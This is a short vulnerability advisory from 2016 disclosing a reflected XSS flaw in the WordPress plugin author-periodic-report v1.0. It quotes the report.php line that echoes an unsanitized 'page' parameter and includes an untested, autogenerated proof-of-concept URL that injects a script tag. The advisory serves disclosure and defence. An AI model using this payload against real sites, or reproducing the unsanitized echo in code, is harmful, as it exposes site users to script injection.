Advisory #: 420
Title: Reflected XSS in wordpress plugin author-periodic-report v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/author-periodic-report
Downloads: 288
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: author-periodic-report
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./author-periodic-report/php/report.php: 34: <input type="hidden" name="page" value="<?php echo $_GET['page']?>"/> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./author-periodic-report/php/report.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/author-periodic-report/php/report.php?page="><script>alert(1);</script><"